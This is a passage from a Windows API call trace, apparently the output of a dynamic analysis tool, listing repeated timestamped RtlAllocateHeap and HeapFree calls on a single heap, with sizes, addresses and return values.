Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.822] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.822] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.822] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.822] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.822] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.822] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.822] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.822] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.822] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.822] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.822] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.822] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.822] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.822] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.822] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.822] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.822] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.822] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.822] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.822] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.822] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.822] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.822] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.823] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.823] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.823] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.823] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.823] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.823] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.823] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.823] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.823] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.823] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.823] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.823] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.823] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.823] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.823] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.823] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.823] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.823] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.823] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.823] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.823] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.823] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.823] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.823] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.823] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.823] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.823] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.824] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.824] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.824] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.824] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.824] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.824] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.824] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.824] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.824] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.824] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.824] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.824] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.824] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.824] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0067.824] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.824] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.824] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.824] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.824] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.824] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.824] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.824] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.824] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.824] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.824] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.825] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.825] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.825] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.825] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.825] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.825] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.825] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.825] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.825] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.825] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.825] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.825] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.825] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.825] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.825] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.825] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.825] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.825] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.825] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.825] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.825] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.825] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.825] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.825] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.825] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.825] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.826] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.826] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.826] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.826] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.826] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.826] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.826] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.826] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.826] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.826] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.826] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.826] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.826] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.826] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.826] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.826] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.826] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.826] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.826] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.826] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.826] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.826] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.826] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.826] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.826] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.826] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.827] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.827] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.827] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.827] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.827] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.827] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.827] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.827] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.827] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.827] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.827] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.827] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.827] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.827] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.827] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.827] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.827] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.827] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.827] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.827] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.827] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.827] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.827] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.827] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.827] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.827] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.827] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.828] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.828] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.828] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.828] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.828] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.828] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.828] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.828] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.828] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.828] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.828] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.828] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.828] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.828] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.828] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.828] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.828] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.828] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.828] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.828] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.828] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.828] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.828] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.828] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.828] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.828] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.828] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.829] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.829] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.829] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.829] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.829] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.829] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.829] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.829] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.829] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.829] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.829] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.829] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.829] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.829] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.829] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.829] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.829] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.829] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.829] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.829] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.829] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.829] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.829] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.829] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.829] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.829] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.830] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.830] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.830] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.830] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.830] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.830] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.830] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.830] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.830] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.830] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.830] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.830] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.830] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.830] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.830] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.830] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.830] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.830] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.830] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.830] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.830] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.830] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.830] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.830] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.830] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.830] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.831] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.831] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.831] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.831] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.831] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.831] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.831] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, 